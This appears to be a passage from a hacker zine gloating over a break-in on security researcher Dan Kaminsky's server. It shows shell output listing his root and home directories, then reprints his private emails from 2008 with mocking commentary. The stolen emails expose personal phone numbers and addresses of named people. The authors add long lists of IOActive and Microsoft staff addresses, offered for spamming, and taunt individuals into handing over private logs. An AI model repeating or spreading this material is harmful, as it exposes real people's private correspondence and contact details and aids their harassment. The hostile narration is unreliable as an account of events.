11667 -rw-r--r-- 1 thalakan thalakan 252 Feb 7 19:13 pbctest.html~ 11668 -rwxr-xr-x 1 thalakan thalakan 6917 Mar 2 21:52 portability 11669 -rw-r--r-- 1 thalakan thalakan 81117 Apr 25 14:15 quotes.html 11670 -rw-r--r-- 1 thalakan thalakan 16468 Apr 4 16:49 resume.html 11671 -rw-r--r-- 1 thalakan thalakan 1443 May 26 12:35 timeline.html 11672 -rw-r--r-- 1 thalakan thalakan 182 Jan 27 17:50 timeline.html~ 11673 -rw-r--r-- 1 thalakan thalakan 183925 Jul 19 18:06 urls.txt 11674 drwxr-xr-x 2 thalakan thalakan 1536 Feb 8 16:56 winbin 11675 $ tail urls.txt 11676 http://feeble.emolyncher.com/Kama%20Sutra/Reverse%20Cowgirl.jpg 11677 http://www.break.com/index/garbage-can-full-of-water-prank.html 11678 http://www.esquire.com/women/women-we-love/mary-louise-parker-naked-0809 11679 http://qdb.us/random/SingleMotherVideo/ 11680 http://www.surgicaltechnologists.net/blog/20-scary-old-school-surgical-tools/ 11681 http://www.kuvalauta.fi/b/src/124784856262.gif 11682 http://la.gg/upl/feedme.gif 11683 http://11.media.tumblr.com/ce2JJn4kFpyf4gfoLCqJDkzuo1_500.jpg 11684 http://www.reddit.com/r/IAmA/comments/8wxpm/i_am_in_love_with_my_sister_and_she_reciprocates/c0aows9 11685 http://www.craigslist.org/about/best/mne/1175913837.html 11686 $ cd .. 11687 $ ls -la /root 11688 total 192542 11689 drwxr-xr-x 6 root wheel 512 Feb 25 00:44 . 11690 drwxr-xr-x 20 root wheel 512 Aug 20 2008 .. 11691 -rw------- 1 root wheel 9444 Jun 9 01:15 .bash_history 11692 -rw-r--r-- 2 root wheel 801 Mar 19 2007 .cshrc 11693 -rw------- 1 root wheel 337 Mar 19 2007 .history 11694 -rw-r--r-- 1 root wheel 143 Mar 19 2007 .k5login 11695 -rw------- 1 root wheel 545 Apr 24 17:43 .lesshst 11696 drwx------ 2 root wheel 512 Feb 28 10:09 .links 11697 -rw-r--r-- 1 root wheel 293 Mar 19 2007 .login 11698 -rw------- 1 root wheel 2131 Feb 6 09:48 .mysql_history 11699 -rw-r--r-- 2 root wheel 251 Mar 19 2007 .profile 11700 -rw------- 1 root wheel 1024 Nov 5 2008 .rnd 11701 drwx------ 2 root wheel 512 Nov 24 2008 .spamassassin 11702 drwx------ 2 root wheel 512 May 29 2007 .ssh 11703 drwxr-xr-x 2 root wheel 512 Feb 25 00:44 bin 11704 -rw------- 1 root wheel 77104614 Nov 24 2008 ktrace.out 11705 -rwxr-xr-x 1 root wheel 94 Sep 24 2007 moveit.sh 11706 -r--r--r-- 1 root wheel 3899 Sep 15 2007 ports-supfile 11707 -rw-r--r-- 1 root wheel 119848679 Sep 24 2007 rsync.log$ ls -la / 11708 total 61 11709 drwxr-xr-x 20 root wheel 512 Aug 20 2008 . 11710 drwxr-xr-x 20 root wheel 512 Aug 20 2008 .. 11711 -rw-r--r-- 2 root wheel 801 Mar 19 2007 .cshrc 11712 -rw-r--r-- 2 root wheel 251 Mar 19 2007 .profile 11713 -r--r--r-- 1 root wheel 6196 Mar 19 2007 COPYRIGHT 11714 drwxr-xr-x 4 root wheel 512 Dec 30 2007 arc 11715 drwxr-xr-x 2 root wheel 1024 Mar 19 2007 bin 11716 drwxr-xr-x 5 root wheel 512 Mar 19 2007 boot 11717 drwxr-xr-x 3 root wheel 512 May 10 2007 compat 11718 dr-xr-xr-x 4 root wheel 512 Jan 22 2008 dev 11719 drwxr-xr-x 18 root wheel 2048 Jun 26 04:56 etc 11720 lrwxrwxrwx 1 root wheel 8 Mar 19 2007 home -> usr/home 11721 drwxr-xr-x 3 root wheel 1024 Mar 19 2007 lib 11722 drwxr-xr-x 2 root wheel 512 Mar 19 2007 libexec 11723 drwxr-xr-x 2 root wheel 512 Mar 19 2007 media 11724 drwxr-xr-x 2 root wheel 512 Mar 19 2007 mnt 11725 dr-xr-xr-x 1 root wheel 0 Jul 20 09:49 proc 11726 -rw-r--r-- 1 root wheel 3850 Nov 26 2008 razor-agent.log 11727 drwxr-xr-x 2 root wheel 2560 Mar 19 2007 rescue 11728 drwxr-xr-x 6 root wheel 512 Feb 25 00:44 root 11729 drwxr-xr-x 2 root wheel 2560 Mar 19 2007 sbin 11730 lrwxr-xr-x 1 root wheel 11 Mar 19 2007 sys -> usr/src/sys 11731 drwxrwxrwt 11 root wheel 6144 Jul 20 09:48 tmp 11732 drwxr-xr-x 16 root wheel 512 Sep 22 2007 usr 11733 drwxr-xr-x 23 root wheel 512 Jan 22 2008 var 11734 drwxr-xr-x 3 www www 512 Sep 22 2007 www 11735 11736 11737 !~~~~~~~~~~~~~~~ Spools ~~~~~~~~~~~~~~~! 11738 11739 Reading through Dan's emails was both pain and pleasure. There are a lot of 11740 them. And when we say a lot, we mean that we have 1.5gb of spools from the 11741 period 2005-2009 before he used gmail again. After that we have all the gmail 11742 messages since. So without further ado, here's the whole bunch! 11743 11744 From effugas@gmail.com Sat Dec 31 02:53:33 2005 11745 Return-Path: <effugas@gmail.com> 11746 Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.206]) 11747 by pmjm.net (8.12.9p2/8.12.9) with ESMTP id jBVArXYb031168 11748 for <dan@doxpara.com>; Sat, 31 Dec 2005 02:53:33 -0800 (PST) 11749 (envelope-from effugas@gmail.com) 11750 Received: by wproxy.gmail.com with SMTP id i31so1847699wra 11751 for <dan@doxpara.com>; Sat, 31 Dec 2005 02:53:50 -0800 (PST) 11752 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; 11753 s=beta; d=gmail.com; 11754 h=received:message-id:date:from:to:subject:mime-version:content-type; 11755 b=qQLFaGlXzW1Qpoah1J7XT1q31SfjjWsH1rerArRzvmHTpD+Bu3bsEZYemwCzPCPPrZkBU5bd1gnEdGkq2XL9PoBarsG0rRC3tZ4ZOM8Rf5zlPFstDnvHakBio0Sq5WBdP88IhndHsbEMj/cptfL7nAeTp4tre5wliJkbey9eALw= 11756 Received: by 10.54.71.11 with SMTP id t11mr11686777wra; 11757 Sat, 31 Dec 2005 02:53:50 -0800 (PST) 11758 Received: by 10.54.153.10 with HTTP; Sat, 31 Dec 2005 02:53:50 -0800 (PST) 11759 Message-ID: <37e6ba5a0512310253ue14a571kf86b37c0f3e219fe@mail.gmail.com> 11760 Date: Sat, 31 Dec 2005 02:53:50 -0800 11761 From: Dan Kaminsky <effugas@gmail.com> 11762 To: dan@doxpara.com 11763 Subject: hiya 11764 MIME-Version: 1.0 11765 Content-Type: multipart/alternative; 11766 boundary="----=_Part_47695_12740608.1136026430437" 11767 X-Spam-Checker-Version: SpamAssassin 3.0.4 (2005-06-05) on mail.pmjm.net 11768 X-Spam-Level: 11769 X-Spam-Status: No, score=0.9 required=2.0 tests=AWL,HTML_40_50,HTML_MESSAGE, 11770 HTML_SHORT_LENGTH,RCVD_BY_IP,SPF_HELO_PASS,SPF_PASS autolearn=no 11771 version=3.0.4 11772 X-IMAPbase: 1219969072 0000120134 Junk NonJunk $Label4 $Forwarded $MDNSent $Label5 $Label3 $Label1 $Label2 11773 Status: RO 11774 X-Status: 11775 X-Keywords: 11776 X-UID: 1 11777 11778 ------=_Part_47695_12740608.1136026430437 11779 Content-Type: text/plain; charset=ISO-8859-1 11780 Content-Transfer-Encoding: quoted-printable 11781 Content-Disposition: inline 11782 11783 so yeah 11784 11785 ------=_Part_47695_12740608.1136026430437 11786 Content-Type: text/html; charset=ISO-8859-1 11787 Content-Transfer-Encoding: quoted-printable 11788 Content-Disposition: inline 11789 11790 so yeah<br> 11791 <br> 11792 11793 Kidding! Somehow we think a 2gb zine might be overdoing it a little bit. 11794 11795 The first shocking thing about Dan's mailbox is just how many people he knows. 11796 He has hundreds of contacts in the security industry. Dozens upon dozens in 11797 corporate programming, ISPs, government, military, education, media, and 11798 anywhere else tech support can be found. After his DNS crap in 2008, he had 11799 dozens of aspiring young researchers offer to blow him. Lots of people 11800 basically emailed asking to be his friend. 11801 11802 At that time, he even had a number of prominent security researchers or 11803 prominent internet bitches all but offer handjobs to get in on the scoop. They 11804 wanted any piece of the action, even just enough to throw up a blog post saying 11805 they've been collaborating with the great Dan Kaminsky. Everyone emailed to 11806 congratulate him and offer their support. 11807 11808 Shame on them all. Here's a little example: 11809 11810 11811 Scott Applegate, CISSP, a Business Partner at US Army, requested to add 11812 you as a connection on LinkedIn: 11813 ------------------------------------------ 11814 11815 Dan, 11816 11817 Worked with you about a year ago when we were looking at the RFID 11818 capture device at IOActive. Would like to keep in touch with you all 11819 for potential future issues, ideas, etc. Gratz on the DNS discovery and 11820 very impressed with the way you handled the entire affair. 11821 11822 - Scott 11823 11824 11825 Of all people, lcamtuf was almost the voice of sanity. He turned down Dan 11826 and told him to stop hyping. Who would have thought it? 11827 11828 At one point Dan sent out an email to a bunch of his friends, asking for 11829 public support. These include: 11830 11831 Jay Beale 11832 Ben Laurie 11833 Johnny Long 11834 lcamtuf 11835 FX 11836 mudge 11837 the dude behind myspace (like wtf...) 11838 Paul Schmehl 11839 11840 Here's an example conversation coming from that: 11841 11842 From: Johnny Long <ihackstuff@gmail.com> 11843 To: Dan Kaminsky <dan@doxpara.com> 11844 Content-Type: multipart/alternative; 11845 boundary=Apple-Mail-1-58232512 11846 X-Mailer: iPhone Mail (5A345) 11847 Mime-Version: 1.0 (iPhone Mail 5A345) 11848 Subject: Fwd: Help 11849 Date: Tue, 22 Jul 2008 10:15:15 -0400 11850 References: <64E431FF-F148-42F5-9497-960D0B8A7912@gmail.com> 11851 Content-Length: 14269 11852 Status: RO 11853 X-Status: 11854 X-Keywords: 11855 X-UID: 114100 11856 11857 11858 --Apple-Mail-1-58232512 11859 Content-Type: text/plain; 11860 charset=us-ascii; 11861 format=flowed; 11862 delsp=yes 11863 Content-Transfer-Encoding: 7bit 11864 11865 Stupid reply to self! 11866 11867 Johnny 11868 11869 Sent from my iPhone 11870 11871 Begin forwarded message: 11872 11873 > From: Johnny Long <ihackstuff@gmail.com> 11874 > Date: July 22, 2008 10:13:03 AM EDT 11875 > To: Johnny Long <ihackstuff@gmail.com> 11876 > Subject: Re: Help 11877 > 11878 11879 > Also feel free to call to discuss 410-599-8672. 11880 > 11881 > Johnny 11882 > 11883 > Sent from my iPhone 11884 > 11885 > On Jul 22, 2008, at 9:29 AM, "Johnny Long" <ihackstuff@gmail.com> 11886 > wrote: 11887 > 11888 >> On 7/22/08, Johnny Long <ihackstuff@gmail.com> wrote: 11889 >>> Unless I'm missing something, I'm behind you, but what can I do? You 11890 >>> want a sound bite from me, I'll be glad to give it to you as long as 11891 >>> it doesn't make me sound like a raging idiot. =D 11892 >> 11893 >> Belay that. You're my friend. I would gladly look like a raging idiot 11894 >> (or even stake my career) defending my friends. 11895 >> 11896 >> What's the next step? 11897 >> 11898 >>> 11899 >>> On 7/22/08, Dan Kaminsky <dan@doxpara.com> wrote: 11900 >>>> There are two paths -- pills, if you will. One says: 11901 >>>> 11902 >>>> "Unless there's a full vulnerability for me to look at, I don't 11903 >>>> want to hear 11904 >>>> about it, especially if you're saying the patch is extremely 11905 >>>> important" 11906 >>>> 11907 >>>> The other says: 11908 >>>> 11909 >>>> "If it is possible to have some time to deploy an extremely 11910 >>>> important patch, 11911 >>>> without knowing the vulnerability, give me the time." 11912 >>>> 11913 >>>> I went through an astonishing amount of pain in support of the 11914 >>>> latter. I 11915 >>>> have gotten absolutely no support from the community for those 11916 >>>> actions. If 11917 >>>> I've gotten beaten up this badly, I can guarantee the latter will 11918 >>>> never 11919 >>>> happen again. 11920 >>>> 11921 >>>> If you think that's a good thing, OK. If you, or your customers, 11922 >>>> think 11923 >>>> that's a bad thing, I need people on the record saying so -- 11924 >>>> saying that, 11925 >>>> all things being equal, 30 days was better than 0. 11926 >>>> 11927 >>>> 11928 >>>> Johnny Long wrote: 11929 >>>>> hello my friend. 11930 >>>>> 11931 >>>>> what can i do to help you? 11932 >>>>> 11933 >>>>> johnny 11934 >>>>> 11935 >>>>> On 7/21/08, Dan Kaminsky <dan@doxpara.com> wrote: 11936 >>>>> 11937 >>>>> 11938 >>>>>> I may need some help surviving this whole DNS thing. Would you 11939 >>>>>> be able 11940 >>>> to 11941 >>>>>> support my approach? 11942 >>>>>> 11943 >>>>>> 11944 >>>>>> 11945 >>>>>> 11946 >>>>>> 11947 >>>>> 11948 >>>>> 11949 >>>>> 11950 >>>>> 11951 >>>> 11952 >>> 11953 >>> 11954 >>> -- 11955 >>> Hackers For Charity Quickstats: 11956 >>> Microprojects Completed: 3 Active: 4 11957 >>> Registered Volunteers: 175 11958 >>> Funds raised: $US 4,000(+); $L 22,000 11959 >>> 11960 >> 11961 >> 11962 >> -- 11963 >> Hackers For Charity Quickstats: 11964 >> Microprojects Completed: 3 Active: 4 11965 >> Registered Volunteers: 175 11966 >> Funds raised: $US 4,000(+); $L 22,000 11967 11968 11969 /* 11970 * How charitable of johnny. Looks out for his friends. 11971 * 11972 * How about this one? */ 11973 11974 11975 Sure I would be happy to help you. I got you a few email address of the 11976 companies you wanted. Let me know if there=B9s anything else I can do: 11977 =20 11978 Jessica Alter Bebo Bizdev jessica@bebo.com 415 243-4821 11979 Kent Lindstrom Friendster 11980 Craig Newmark Craigslist craig@craigslist.com 11981 Jim Bankoff AOL Former EVP Product bankoff@aol.com 11982 Edwin Aoki AOL Technology Fellow aoki@aol.net 11983 Michael Jones AOL VP mjones@userplane.com 11984 Reid Hoffman LinkedIn Founder rhoffman@linkedin.com 11985 Ramu Yalamanchi HI5 CEO/Cofounder ramu@hi5.com 11986 Akash Garg Hi5 CTO/Cofounder akash@hi5.com 11987 11988 On 7/21/08 6:46 PM, "Dan Kaminsky" <dan@doxpara.com> wrote: 11989 11990 > Aber, 11991 >=20 11992 > I'm in a bit of a bind. A fellow security researcher leaked my DNS 11993 > attack. I am not convinced that I will ever be able to get people 11994 > advance notice on a vulnerability again, if I do not have significant 11995 > support for the 30-day approach I attempted to pioneer. 11996 >=20 11997 > Is it possible that MySpace could support my approach here? It will 11998 > not likely happen again without a pretty serious burst of support soon. 11999 >=20 12000 > --Dan 12001 >=20 12002 >=20 12003 12004 12005 //~~~~ Or: 12006 12007 From: "Billy Rios" <billy.rios@gmail.com> 12008 To: "Dan Kaminsky" <dan@doxpara.com> 12009 Subject: DNS bug Public 12010 MIME-Version: 1.0 12011 Content-Type: multipart/alternative; 12012 boundary="----=_Part_52998_31292324.1216710994768" 12013 Status: RO 12014 X-Status: 12015 X-Keywords: 12016 X-UID: 114036 12017 12018 ------=_Part_52998_31292324.1216710994768 12019 Content-Type: text/plain; charset=ISO-8859-1 12020 Content-Transfer-Encoding: 7bit 12021 Content-Disposition: inline 12022 12023 DAN! Heard the DNS bug went public inadvertently :( that sucks dude. 12024 12025 I'm still thankful (as I'm sure millions of others) that you put forth the 12026 time and effort to coordinate the most massive security fix in history. 12027 I'll buy you a beer (or two) in Vegas! 12028 12029 BK 12030 12031 12032 // Here's another noble comrade coming to Dan's rescue: 12033 12034 From: Jay Beale <jay.beale@gmail.com> 12035 To: Dan Kaminsky <dan@doxpara.com> 12036 Content-Type: text/plain; 12037 charset=us-ascii; 12038 format=flowed; 12039 delsp=yes 12040 Content-Transfer-Encoding: 7bit 12041 X-Mailer: iPhone Mail (5A347) 12042 Mime-Version: 1.0 (iPhone Mail 5A347) 12043 Subject: Discussion 12044 Date: Mon, 28 Jul 2008 22:50:13 -0700 12045 Status: RO 12046 X-Status: A 12047 X-Keywords: NonJunk 12048 X-UID: 116776 12049 12050 Dan, is it too late to get involved in that discussion? I'd really 12051 like to defend your honor because the community is just wrong! 12052 12053 Jay Beale 12054 12055 12056 // And another: 12057 12058 On Jul 21, 2008, at 9:45 PM, Dan Kaminsky wrote: 12059 12060 > I need your help surviving this DNS thing. Would you be able to 12061 > support my approach? 12062 12063 What's your approach? Call me either in the office (617) 873-5282 or 12064 on my cell (781) 325-3299. 12065 12066 cheers, 12067 12068 .mudge 12069 12070 12071 /* 12072 * It's great to have friends, isn't it? You get the idea. 12073 * 12074 * Dan then made ilja into his translation bitch. It was hilarious. This is how it started: */ 12075 12076 To: Dan Kaminsky <dan@doxpara.com> 12077 From: Ilja <ilja@netric.org> 12078 Reply-to: Ilja <ilja@netric.org> 12079 Subject: Re: ZOMG 12080 Message-ID: <b70d0f3962383f91884ff685a1161742@82.33.206.203> 12081 X-Priority: 3 12082 X-Mailer: UebiMiau [PHPMailer version 1.70] 12083 MIME-Version: 1.0 12084 Content-Transfer-Encoding: 8bit 12085 Content-Type: text/plain; 12086 charset="iso-8859-1" 12087 X-Virus-Scanned: Xentra AntiVirus 12088 Status: RO 12089 X-Status: A 12090 X-Keywords: 12091 X-UID: 116250 12092 12093 you want the whole pdf translated ? 12094 12095 --------- Oorspronkelijk bericht -------- 12096 Van: Dan Kaminsky <dan@doxpara.com> 12097 Naar: Ilja <ilja@netric.org> 12098 Onderwerp: ZOMG 12099 Datum: 27/07/08 05:27 12100 12101 > 12102 > 12103 http://security4all.blogspot.com/2008/07/govcertnl-publishes-kaminsky-code.html 12104 > 12105 > I CAN HAS TRANSLATE?!?!??!?! 12106 > 12107 12108 /* 12109 * If it was dutch and it mentioned Dan, ilja got stuck translating it. 12110 * 12111 * We kind of want to take advantage of this free Dutch->English translation 12112 * service. ilja, since we're feeling nostalgic, can you gather the boys and dig 12113 * up any old private netric logs, from when you guys actually did shit? If you go 12114 * ahead and do this for us, it'll really be easier for everyone in the long run 12115 * ;) 12116 * 12117 * Don't forget to translate any and all Dutch! 12118 * 12119 * Speaking of ilja... */ 12120 12121 12122 "Ilja van Sprundel \(N. Runs GMBH\)" <v-iljav@microsoft.com> 12123 along with ilja@suresec.org and ilja@netric.org of course 12124 12125 If you guys are looking for people to spam, you could always add this list: 12126 12127 From: "Damon P. Cortesi" <damon.cortesi@ioactive.com> 12128 From: "Josh J. Pennell" <joshp@ioactive.com> 12129 From: "Joshua J. Pennell" <joshua.pennell@ioactive.com> 12130 From: "Justin N. Ferguson" <justin.ferguson@ioactive.com> 12131 From: "Nicole Tatrow (IOActive)" <nicole.tatrow@ioactive.com> 12132 From: "Robert M. Zigweid" <Robert.Zigweid@ioactive.com> 12133 From: <joe.smith@ioactive.com> 12134 From: Anthony Rossano <anthony.rossano@ioactive.com> 12135 From: Chris Paget <Chris.Paget@ioactive.com> 12136 From: Dan Kaminsky <Dan.Kaminsky@ioactive.com> 12137 From: Dan Kaminsky [Dan.Kaminsky@ioactive.com] 12138 From: Dan Kaminsky [mailto:Dan.Kaminsky@ioactive.com] 12139 From: Dan Schaffner <daniel.schaffner@ioactive.com> 12140 From: Daniel Schaffner <daniel.schaffner@ioactive.com> 12141 From: Eric Rachner <Eric.Rachner@ioactive.com> 12142 From: Forrest Rae <forrest.rae@ioactive.com> 12143 From: Jason Larsen <jlarsen@ioactive.com> 12144 From: Jason Waldhelm <jason.waldhelm@ioactive.com> 12145 From: Jill Levine <Jill.Levine@ioactive.com> 12146 From: Josh Pennell <josh.pennell@ioactive.com> 12147 From: Joshua Betts <Josh.Betts@ioactive.com> 12148 From: Joshua J. Pennell [mailto:joshua.pennell@ioactive.com] 12149 From: Joshua Pennell <Joshua.Pennell@ioactive.com> 12150 From: Justin Ferguson <jferguson@ioactive.com> 12151 From: Justin Ferguson <justin.ferguson@ioactive.com> 12152 From: Lauren Vogt <lauren.vogt@ioactive.com> 12153 From: Maren Morrison <maren.morrison@ioactive.com> 12154 From: Megan Knox <megan.knox@ioactive.com> 12155 From: Natalie Ervin <natalie.ervin@ioactive.com> 12156 From: Rob Harvey <rob.harvey@ioactive.com> 12157 From: Robert Zigweid <Robert.Zigweid@ioactive.com> 12158 From: Shannon James Smith <shannon.smith@ioactive.com> 12159 From: Shannon Smith <global@ioactive.com> 12160 From: Shannon Smith <shannon.smith@ioactive.com> 12161 From: Ted Ipsen <Theodore.ipsen@ioactive.com> 12162 From: Ted Ipsen <ted.ipsen@ioactive.com> 12163 From: Walter Pearce <Walter.Pearce@ioactive.com> 12164 From: lauren.vogt@ioactive.com 12165 12166 or 12167 12168 From: "=?GB2312?B?v7Xx/b/i?=" <dmpzguntmntk@microsoft.com> 12169 From: "Anthony Fung (LCA)" <anthonyf@microsoft.com> 12170 From: "Brad Hill \(Information Security Partners\)" <v-bhill@microsoft.com> 12171 From: "Bri Rolston (SWI)" <Bri.Rolston@microsoft.com> 12172 From: "Chris Paget \(IOACTIVE\)" <v-cpaget@microsoft.com> 12173 From: "Dan Kaminsky (IOACTIVE)" <v-dakami@microsoft.com> 12174 From: "Helen Wang (MSR)" <helenw@microsoft.com> 12175 From: "Ilja van Sprundel (N. Runs GMBH)" <v-ilvans@microsoft.com> 12176 From: "Ilja van Sprundel \(N. Runs GMBH\)" <v-iljav@microsoft.com> 12177 From: "John Biccum" <johnbic@microsoft.com> 12178 From: "Kurt Swanson" <fastin-482@microsoft.com> 12179 From: "Kymberlee Price" <Kymberlee.Price@microsoft.com> 12180 From: "Stephen Toulouse" <stepto@microsoft.com> 12181 From: "Zot O'Connor" <zoto@microsoft.com> 12182 From: "Zot_O'Connor" <zot@microsoft.com> 12183 From: "jajirn" <jajirnxqmbg@microsoft.com> 12184 From: Adam Shostack <Adam.Shostack@microsoft.com> 12185 From: Bri Rolston <Bri.Rolston@microsoft.com> 12186 From: Bronwen Matthews <bronwenm@microsoft.com> 12187 From: Dan Kaminsky (IOACTIVE) [mailto:v-dakami@microsoft.com] 12188 From: Dave Tamasi <dtamasi@microsoft.com><br> 12189 From: Dave Tamasi <dtamasi@microsoft.com> 12190 From: Dave Tamasi [<a href=3D"mailto:dtamasi@microsoft.com">mailto:dtamas= 12191 From: Dave Tamasi [<a href=3D"mailto:dtamasi@microsoft.com">mailto:dtamasi@= 12192 From: Dave Tamasi [mailto:dtamasi@microsoft.com] 12193 From: Dave Tamasi [mailto:dtamasi@microsoft.com]=20 12194 From: Ian Hellen <Ian.Hellen@microsoft.com> 12195 From: Jack Couch (Deepintel Solutions LLC) <v-jackco@microsoft.com> 12196 From: Josh Lackey <Joshua.Lackey@microsoft.com> 12197 From: Josh Lackey [mailto:Joshua.Lackey@microsoft.com] 12198 From: Kathryn Gillespie <Kathryn.Gillespie@microsoft.com> 12199 From: Katie Moussouris <katiemo@microsoft.com> 12200 From: Kay Hersrud <Kay.Hersrud@microsoft.com> 12201 From: Kymberlee Price <Kymberlee.Price@microsoft.com> 12202 From: Kymberlee Price [<a href=3D"mailto:Kymberlee.Price@microsoft.com">mai= 12203 From: Kymberlee Price [mailto:Kymberlee.Price@microsoft.com] 12204 From: Lili Cheng <lilich@microsoft.com> 12205 From: Lili Cheng [mailto:lilich@microsoft.com]=20 12206 From: Mark Novak <Mark.Novak@microsoft.com> 12207 From: Peter Beck <Peter.Beck@microsoft.com> 12208 From: Robert Gu <Jianrong.Gu@microsoft.com> 12209 From: Rodney Buike <Rodney.Buike@microsoft.com> 12210 From: Stephen Toulouse <stepto@microsoft.com> 12211 From: Thomas Hargrove <Thomas.Hargrove@microsoft.com> 12212 From: csov@microsoft.com 12213 12214 12215 /* Figuring out which ones are real/active is left as an exercise for the 12216 * reader! 12217 * 12218 * Okay, the next thing you notice about Dan's spools is just the volume of mail 12219 * he got in July 2008 especially. You start reading a day of his emails, you get 12220 * tired, and then you just hold your finger on Page Down. Pull it off after a 12221 * while and you're still not out of the day. 12222 * 12223 * The only work Dan did in July was reading and answering emails. Even just the 12224 * quantity going out was massive. The other little thing he did....was sort of 12225 * let everyone else do research for him. Basically dozens upon dozens of people 12226 * emailed Dan with their theories, and if what they said was accurate, Dan said 12227 * it was part of the research he had covered, but he appreciated their concern 12228 * and congratulated them on their quick thinking ;p 12229 * 12230 * Did Dan hand out any credit at his talk that year? Because he sure should 12231 * have... 12232 * 12233 * There was one thing he was almost honest about, and that's this: */ 12234 12235 > >On Thu, Jul 24, 2008 at 09:26:27AM -0700, Dan Kaminsky wrote: 12236 > > 12237 > >>Halvar was like the tenth to figure it out. I'm not impressed by all 12238 > >>the complaining from people not smart enough to figure the bug out. 12239 12240 /* People *did* email Dan with the solution. I think the first was only a few 12241 * days after he made a fuss. How many got shouts? I don't think he ever replied 12242 * back with "You got it" */ 12243 12244 // Here's him talking with Halvar 12245 12246 From: Halvar Flake <halvar@gmx.de> 12247 User-Agent: Thunderbird 2.0.0.14 (X11/20080502) 12248 MIME-Version: 1.0 12249 To: Dan Kaminsky <dan@doxpara.com> 12250 Subject: Re: A small note 12251 References: <487B9899.80704@doxpara.com> 12252 In-Reply-To: <487B9899.80704@doxpara.com> 12253 X-Enigmail-Version: 0.95.0 12254 Content-Type: text/plain; charset=ISO-8859-1 12255 Content-Transfer-Encoding: 7bit 12256 X-Provags-ID: V01U2FsdGVkX18oRXbSi0zq0CHrQHTL7+EFDu3Q3TZXHK2uDx8 12257 hBLYOu2gPkN7/stde7vT0tX4exBrMEjrKrnh2u/b2zX+wkBGyv 12258 L4CpIEFzrCXIhw0WFMRRRcF+OdKHBTDNaXrKTmpBjs= 12259 Content-Length: 2887 12260 Status: RO 12261 X-Status: A 12262 X-Keywords: 12263 X-UID: 113198 12264 12265 >Yes, this is a very tough position to be in. I am obligated not to 12266 defend myself. 12267 12268 Ahwell, such is life ;) -- and you'll survive. :) 12269 12270 >However, if you like, you are welcome to come to my talk and take the 12271 microphone 12272 > after, to tell the entire audience what you think, having heard the 12273 full details. 12274 12275 Thanks for the offer, but I'll decline. If we agree, there's nothing to 12276 discuss, and if we disagree, 12277 a controversy in the open would be famewhoring by both of us :-P 12278 You and I have better things to do with our time (I prefer to let the 12279 nontechs deal with the 12280 politricks of it all). 12281 12282 There's several reasons why I should avoid any panel discussion anyhow: 12283 * My final final final exam is on 1st of August, so I will arrive in 12284 Vegas looking like cannonfodder 12285 from House of the Dead. I will have spent several weeks on math, so I 12286 will be unable to speak 12287 intelligibly, and walk in a shuffle. When I am tired, I tend to revert 12288 german in mid-sentence, and I spill 12289 coffee on my shirts, neither of which helps. People would mistake me for 12290 a character from a game. 12291 * I have to avoid plenum discussions like the plague nowadays. The 12292 industry has 12293 changed in a way that is quite incompatible with my views -- I'd just 12294 offend people :-) 12295 Examples: 12296 * I remember the upset I caused to some members of the audience at 12297 CSW a few years back when 12298 I recommended that the proper response to being owned by someone 12299 through a chain 12300 of bouncers would be to own the bouncer chain, one by one, to get to 12301 the source. 12302 * I tend to not take security too seriously. This tends to offend 12303 audiences at such conferences, 12304 because they all want to feel important, and I think we are not 12305 1/3rd as important as we'd like to think. 12306 12307 I am certain that you have a really cool and really original attack -- I 12308 just think that if 12309 OpenSSH and Bind _remote_compromises_ (which were pretty darn reliable, 12310 too) didn't warrant "silent period after patches are out", then this 12311 certainly 12312 doesn't either. And if the argument is that this problem is easier to 12313 exploit than the above 12314 bugs: "%25%5C" was as easy as it gets, _and_ SSL certs don't help Joe 12315 Sixpacks any 12316 more if the server is compromised. 12317 In all these cases, we didn't need 30 days of artificial suspense. 12318 12319 Also, we all remember the time when vuln info on the defensive side was held 12320 in clubby little groups. The only result of that was that all serious 12321 attackers compromised 12322 some list members, and people that were neither serious attackers nor on 12323 that list 12324 got shafted ;). 12325 12326 But well. All this is politricks, and as such should be left with people 12327 that have no 12328 real work to do :-) 12329 12330 Good luck in the madness over the next few weeks. 12331 12332 I need to get back to my books :-/ (still heaps of work for the exam 12333 tomorrow, and it's 12334 boring shit on top of it :( 12335 12336 Cheers, 12337 Halvar 12338 PS: What happened on the RE with IDA book ? It was definitely not what 12339 it should've been. 12340 12341 12342 // And later: 12343 12344 Hey Dan, 12345 12346 >Oh, I'll survive. Who ever would have thought the vendors would be the 12347 easy people to work with? 12348 12349 Haha. Yeh. It shows how the environment has changed -- I still remember 12350 a few 12351 southern german gentlemen reminding me to "quit fucking with the 12352 israelis" when 12353 I did work on Checkpoint a few years back. 12354 12355 >Well, you know, you did sort of start it. (...) 12356 >Well, man, why'd you have to go in and shit on me publicly then? I'm 12357 out there trying to get people safe 12358 > and you're like, meh, big whoop...and then, now that you've entered 12359 the discussion, you're like "well 12360 > I don't really want to get involved". You got involved -- to the 12361 point people are reporting on it. You're 12362 >respected, I mean, you're respected by *me*. It's a fairly big deal 12363 for you to enter the discussion and say this doesn't matter. 12364 12365 See my comment above on my reason for avoiding panels: I open my mouth, 12366 speak my mind, 12367 and people get pissed off. Apparently this happens to my blog posts, too :-/ 12368 12369 Like, I didn't think saying that "the sky isn't falling" and "we've 12370 survived worse before, with less vendor coordination" 12371 counted as shitting on you publicly. It wasn't _meant_ that way, and I 12372 hope it's not being 12373 construed as such. 12374 12375 Most of all, I was not trying to denigrate your findings. I value 12376 originality in thought above 12377 everything, and finding a protocol attack that has been hiding in "plain 12378 view" is something you 12379 can be very proud of. It is a sign of significant originality, which is 12380 both rare and valuable. 12381 12382 I am a bit dismayed at how my blog post (which I think was quite 12383 reasonable) was spun by 12384 reporters ("...DNS flaw called overblown..."). I also wrote that 12385 it is quite conceivable that my calm in these circumstances is misguided 12386 ('russian roulette'). 12387 So I don't see this as shitting on you in public. It's a disagreement on 12388 wether the yellow or the 12389 red alert light is flashing. If you see this differently, please make a 12390 suggestion 12391 on how I can clarify my posts. 12392 12393 I guess to summarize: I think my blog posts were measured & balanced. I 12394 might be wrong 12395 (sose damn germans are not exactly known for seir sense of diplomacy ;), 12396 so if these posts can 12397 be read in a more negative light I'll try to fix it. 12398 12399 Regarding coming to the stage at Blackhat: I won't, for several 12400 (serious) reasons: 12401 * I am deeply opposed to a culture of "there is controversy between X 12402 and Y at Blackhat, let's go see it". 12403 There is no controversy, there is a technical, and perhabs 12404 philosophical, discussion, between two 12405 resonable adults. That is not a spectator sport. I don't want to have a 12406 principal role in 12407 "Ric 